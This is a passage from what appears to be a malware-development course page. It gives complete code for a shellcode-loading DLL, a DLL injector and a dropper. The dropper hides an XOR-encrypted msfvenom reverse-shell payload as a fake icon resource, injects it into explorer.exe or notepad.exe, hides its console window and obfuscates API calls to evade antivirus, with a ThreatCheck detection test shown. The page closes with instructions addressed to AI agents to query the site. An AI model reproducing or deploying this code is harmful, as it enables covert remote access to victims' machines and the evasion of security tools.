  0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
  0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
unsigned int payload_len = 276;



extern __declspec(dllexport) int Go(void);
int Go(void) {
    
	void * exec_mem;
	BOOL rv;
	HANDLE th;
    DWORD oldprotect = 0;

	exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	RtlMoveMemory(exec_mem, payload, payload_len);
	
	rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);

	if ( rv != 0 ) {
			th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
			WaitForSingleObject(th, 0);
	}
	return 0;
}


BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved ) {

	switch ( fdwReason ) {
			case DLL_PROCESS_ATTACH:
					Go();
					break;
			case DLL_THREAD_ATTACH:
					break;
			case DLL_THREAD_DETACH:
					break;
			case DLL_PROCESS_DETACH:
					break;
			}
	return TRUE;
}


```

File: `injectDLL.cpp`

```cpp
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>


int FindTarget(const char *procname) {

        HANDLE hProcSnap;
        PROCESSENTRY32 pe32;
        int pid = 0;
                
        hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
                
        pe32.dwSize = sizeof(PROCESSENTRY32); 
                
        if (!Process32First(hProcSnap, &pe32)) {
                CloseHandle(hProcSnap);
                return 0;
        }
                
        while (Process32Next(hProcSnap, &pe32)) {
                if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
                        pid = pe32.th32ProcessID;
                        break;
                }
        }
                
        CloseHandle(hProcSnap);
                
        return pid;
}


int main(int argc, char *argv[]) {
	
	HANDLE pHandle;
	PVOID remBuf;
	PTHREAD_START_ROUTINE pLoadLibrary = NULL;
	char dll[] = "Z:\\RTO\\07.Code_Injection\\02.DLL\\implantDLL.dll";
	char target[] = "notepad.exe";
	int pid = 0;
	
	
	pid = FindTarget(target);
	if ( pid == 0) {
		printf("Target NOT FOUND! Exiting.\n");
		return -1;
	}

	printf("Target PID: [ %d ]\nInjecting...", pid);

	pLoadLibrary = (PTHREAD_START_ROUTINE) GetProcAddress( GetModuleHandle("Kernel32.dll"), "LoadLibraryA");

	pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)(pid));

	if (pHandle != NULL) {
		remBuf = VirtualAllocEx(pHandle, NULL, sizeof dll, MEM_COMMIT, PAGE_READWRITE);	
	
		WriteProcessMemory(pHandle, remBuf, (LPVOID) dll, sizeof(dll), NULL);

		CreateRemoteThread(pHandle, NULL, 0, pLoadLibrary, remBuf, 0, NULL);
		printf("done!\nremBuf addr = %p\n", remBuf);

		CloseHandle(pHandle); 
	}
	else {
		printf("OpenProcess failed! Exiting.\n");
		return -2;
	}
}


```

File: `compileDLL.bat`

```batch
@ECHO OFF

cl.exe /O2 /D_USRDLL /D_WINDLL implantDLL.cpp implantDLL.def /MT /link /DLL /OUT:implantDLL.dll
```

**File:** `CompileInjector.bat`

```batch
@ECHO OFF

cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /TcinjectDLL.cpp /link /OUT:injectDLL.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
```

## Hiding console

Using `FreeConsole();` but the problem is the console will pop up a milliseconds.

```
FreeConsole();
```

Use a `WinMain` instead of `main` method and compile using&#x20;

#### :white\_check\_mark: Right Way to hide console

```cpp
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, 
    LPSTR lpCmdLine, int nCmdShow) {
    //CODE
}

```

#### :no\_entry: Will pop up the console even using FreeConsole

```cpp
int main(void) {
    //CODE
    FreeConsole();
}
```

And should compile the program as GUI program using `/SUBSYSTEM:WINDOWS`

```batch
@ECHO OFF

cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:implant.exe /SUBSYSTEM:WINDOWS /MACHINE:x64
```

## Final project&#x20;

1. Create a dropper where the shellcode is loading from `.rsrc`
2. Encrypt/Decrypt using XOR encryption
3. Inject the shellcode into explorer.exe or notepad.exe
4. Get rid of console windows (pop up)

**Payload:**

```sh
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.109 LPORT=1234 -f raw EXITFUNC=thread > shellcode.bin
```

File: `compile.bat`

```batch
@ECHO OFF

rc resources.rc
cvtres /MACHINE:x64 /OUT:resources.o resources.res
cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:implant.exe /SUBSYSTEM:WINDOWS /MACHINE:x64 resources.o
```

File: `resources.rc`

```batch
#include "resources.h"
FAVICON_ICO RCDATA fav.ico
```

File: `resources.h`

```cpp
#define FAVICON_ICO 100
```

File: `xorencrypt.py`

```python
import sys

KEY = "hUNdAmEnALtaterphApSERS"

def xor(data, key):
	
	key = str(key)
	l = len(key)
	output_str = ""

	for i in range(len(data)):
		current = data[i]
		current_key = key[i % len(key)]
		output_str += chr(ord(current) ^ ord(current_key))
	
	return output_str

def printCiphertext(ciphertext):
	print('{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')



try:
    plaintext = open(sys.argv[1], "rb").read()
except:
    print("File argument needed! %s <raw payload file>" % sys.argv[0])
    sys.exit()


ciphertext = xor(plaintext, KEY)
open("fav.ico","wb").write(ciphertext)
#print('{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')

```

File: `implant.cpp`

```cpp
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "resources.h"
#include <tlhelp32.h>

char key[] = "hUNdAmEnALtaterphApSERS";

void XOR(char * data, size_t data_len, char * key, size_t key_len) {
	int j;
	
	j = 0;
	for (int i = 0; i < data_len; i++) {
		if (j == key_len - 1) j = 0;

		data[i] = data[i] ^ key[j];
		j++;
	}
}


int FindTarget(const char *procname) {

        HANDLE hProcSnap;
        PROCESSENTRY32 pe32;
        int pid = 0;
                
        hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
                
        pe32.dwSize = sizeof(PROCESSENTRY32); 
                
        if (!Process32First(hProcSnap, &pe32)) {
                CloseHandle(hProcSnap);
                return 0;
        }
                
        while (Process32Next(hProcSnap, &pe32)) {
                if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
                        pid = pe32.th32ProcessID;
                        break;
                }
        }
                
        CloseHandle(hProcSnap);
                
        return pid;
}


int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {

        LPVOID pRemoteCode = NULL;
        HANDLE hThread = NULL;

  
        pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
		XOR((char *) payload, payload_len, key, sizeof(key));
        WriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);
        
        hThread = CreateRemoteThread(hProc, NULL, 0, pRemoteCode, NULL, 0, NULL);
        if (hThread != NULL) {
                WaitForSingleObject(hThread, 500);
				
                CloseHandle(hThread);
                return 0;
        }
        return -1;
}


int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, 
    LPSTR lpCmdLine, int nCmdShow) {
	
	void * exec_mem;
	BOOL rv;
	HANDLE th;
	DWORD oldprotect = 0;
	HGLOBAL resHandle = NULL;
	HRSRC res;
	int pid = 0;
	HANDLE hProc = NULL;
	
	pid = FindTarget("notepad.exe");
	
	unsigned char * payload;
	unsigned int shellcode_len;
	
	// Extract payload from resources section
	res = FindResource(NULL, MAKEINTRESOURCE(FAVICON_ICO), RT_RCDATA);
	resHandle = LoadResource(NULL,res); //load resource
	payload = (char *) LockResource(resHandle); //obtain a pointer to the memory containing the resource data. 
	shellcode_len = SizeofResource(NULL, res);
	
	
	if(pid){

		hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | 
						PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
						FALSE, (DWORD) pid);
						
		if (hProc != NULL) {
			Inject(hProc, payload, shellcode_len);
			CloseHandle(hProc);
		}
	}
		
	
	return 0;
}
```

### Bypassing AV (Detectable)

Implement function call obfuscation to `VirtualAllocEx`, `WriteProcessMemory`, `CreateRemoteThread` .

```cpp
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "resources.h"
#include <tlhelp32.h>

char key[] = "hUNdAmEnALtaterphApSERS";
LPVOID (WINAPI * pVirtualAllocEx)(HANDLE hProcess, LPVOID lpAddress,SIZE_T dwSize, DWORD  flAllocationType, DWORD flProtect); 
BOOL (WINAPI * pWriteProcessMemory)(HANDLE  hProcess,LPVOID  lpBaseAddress,LPCVOID lpBuffer,SIZE_T  nSize,SIZE_T  *lpNumberOfBytesWritten); 
HANDLE (WINAPI * pCreateRemoteThread)(HANDLE hProcess,LPSECURITY_ATTRIBUTES  lpThreadAttributes,SIZE_T dwStackSize,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,DWORD dwCreationFlags,LPDWORD lpThreadId);

void XOR(char * data, size_t data_len, char * key, size_t key_len) {
	int j;
	
	j = 0;
	for (int i = 0; i < data_len; i++) {
		if (j == key_len - 1) j = 0;

		data[i] = data[i] ^ key[j];
		j++;
	}
}


int FindTarget(const char *procname) {

        HANDLE hProcSnap;
        PROCESSENTRY32 pe32;
        int pid = 0;
                
        hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
                
        pe32.dwSize = sizeof(PROCESSENTRY32); 
                
        if (!Process32First(hProcSnap, &pe32)) {
                CloseHandle(hProcSnap);
                return 0;
        }
                
        while (Process32Next(hProcSnap, &pe32)) {
                if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
                        pid = pe32.th32ProcessID;
                        break;
                }
        }
                
        CloseHandle(hProcSnap);
                
        return pid;
}


int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {

        LPVOID pRemoteCode = NULL;
        HANDLE hThread = NULL;
		
		
		unsigned char sVirtualAllocEx [] = {0x3e,0x3c,0x3c,0x10,0x34,0x0c,0x29,0x2f,0x2d,0x20,0x1b,0x02,0x31,0x1d};
		unsigned char sWriteProcessMemory [] = {0x3f,0x27,0x27,0x10,0x24,0x3d,0x37,0x01,0x22,0x29,0x07,0x12,0x39,0x00,0x1f,0x1f,0x1a,0x38};
		unsigned char sCreateRemoteThread [] = {0x2b,0x27,0x2b,0x05,0x35,0x08,0x17,0x0b,0x2c,0x23,0x00,0x04,0x20,0x0d,0x00,0x15,0x09,0x25};
		
		XOR((char *) sVirtualAllocEx, sizeof(sVirtualAllocEx), key, sizeof(key));
		XOR((char *) sWriteProcessMemory, sizeof(sWriteProcessMemory), key, sizeof(key));
		XOR((char *) sCreateRemoteThread, sizeof(sCreateRemoteThread), key, sizeof(key));
		
		pVirtualAllocEx = GetProcAddress(GetModuleHandle("Kernel32.dll"),sVirtualAllocEx);
		pWriteProcessMemory = GetProcAddress(GetModuleHandle("Kernel32.dll"),sWriteProcessMemory);
		pCreateRemoteThread = GetProcAddress(GetModuleHandle("Kernel32.dll"),sCreateRemoteThread);
		
  
        pRemoteCode = pVirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
		XOR((char *) payload, payload_len, key, sizeof(key));
        pWriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);
        
        hThread = pCreateRemoteThread(hProc, NULL, 0, pRemoteCode, NULL, 0, NULL);
        if (hThread != NULL) {
                WaitForSingleObject(hThread, 500);
				
                CloseHandle(hThread);
                return 0;
        }
        return -1;
}


int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, 
    LPSTR lpCmdLine, int nCmdShow) {
	
	void * exec_mem;
	BOOL rv;
	HANDLE th;
	DWORD oldprotect = 0;
	HGLOBAL resHandle = NULL;
	HRSRC res;
	int pid = 0;
	HANDLE hProc = NULL;
	
	pid = FindTarget("explorer.exe");
	
	unsigned char * payload;
	unsigned int shellcode_len;
	
	// Extract payload from resources section
	res = FindResource(NULL, MAKEINTRESOURCE(FAVICON_ICO), RT_RCDATA);
	resHandle = LoadResource(NULL,res); //load resource
	payload = (char *) LockResource(resHandle); //obtain a pointer to the memory containing the resource data. 
	shellcode_len = SizeofResource(NULL, res);
	
	
	if(pid){

		hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | 
						PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
						FALSE, (DWORD) pid);
						
		if (hProc != NULL) {
			Inject(hProc, payload, shellcode_len);
			CloseHandle(hProc);
		}
	}
		
	
	return 0;
}
```

## Binary Analysis

```powershell
PS C:\> ThreatCheck.exe -f implant.exe
[+] Target file size: 95232 bytes
[*] Threat found, splitting
[!] Identified end of bad bytes at offset 0x583
00000483   85 C0 75 D9 EB 04 8B 7C  24 28 48 8B CB FF 15 6A   .AuUë..|$(H.Eÿ.j
00000493   BF 00 00 BA 64 00 00 00  33 C9 44 8D 42 A6 FF 15   ¿..ºd...3ÉD.B▌ÿ.
000004A3   A1 BF 00 00 48 8B D0 33  C9 48 8B D8 FF 15 73 BF   ¡¿..H.D3ÉH.Oÿ.s¿
000004B3   00 00 48 8B C8 FF 15 72  BF 00 00 48 8B D3 33 C9   ..H.Eÿ.r¿..H.O3É
000004C3   48 8B F0 FF 15 6C BF 00  00 8B E8 85 FF 74 2F 44   H.dÿ.l¿...è.ÿt/D
000004D3   8B C7 33 D2 B9 3A 04 00  00 FF 15 2E BF 00 00 48   .Ç3O1:...ÿ..¿..H
000004E3   8B D8 48 85 C0 74 17 44  8B C5 48 8B D6 48 8B C8   .OH.At.D.ÅH.ÖH.E
000004F3   E8 58 01 00 00 48 8B CB  FF 15 FF BE 00 00 4C 8D   èX...H.Eÿ.ÿ_..L.
00000503   9C 24 50 01 00 00 33 C0  49 8B 5B 10 49 8B 6B 18   .$P...3AI.[.I.k.
00000513   49 8B 73 20 49 8B E3 5F  C3 CC CC CC CC CC CC CC   I.s I.a_AIIIIIII
00000523   CC CC CC CC CC CC CC CC  CC CC CC CC CC 48 85 D2   IIIIIIIIIIIIIH.O
00000533   74 5A 48 89 5C 24 10 57  48 89 74 24 10 45 33 D2   tZH.\$.WH.t$.E3O
00000543   33 F6 33 DB 49 FF C9 48  8B FA 4C 8B D9 33 C9 49   3ö3UIÿÉH.úL.U3ÉI
00000553   63 D2 49 3B D1 4D 8D 5B  01 48 0F 45 CE 42 0F B6   cOI;ÑM.[.H.EIB.
00000563   04 01 48 8D 71 01 41 30  43 FF 33 C0 49 3B D1 41   ..H.q.A0Cÿ3AI;ÑA
00000573   0F 45 C2 FF C3 44 8D 50  01 48 63 C3 48 3B C7 72   .EAÿAD.P.HcAH;Çr
[*] Run time: 16.16s
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://intrusionz3r0.gitbook.io/intrusionz3r0/malware-development/malware-development-essentials.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
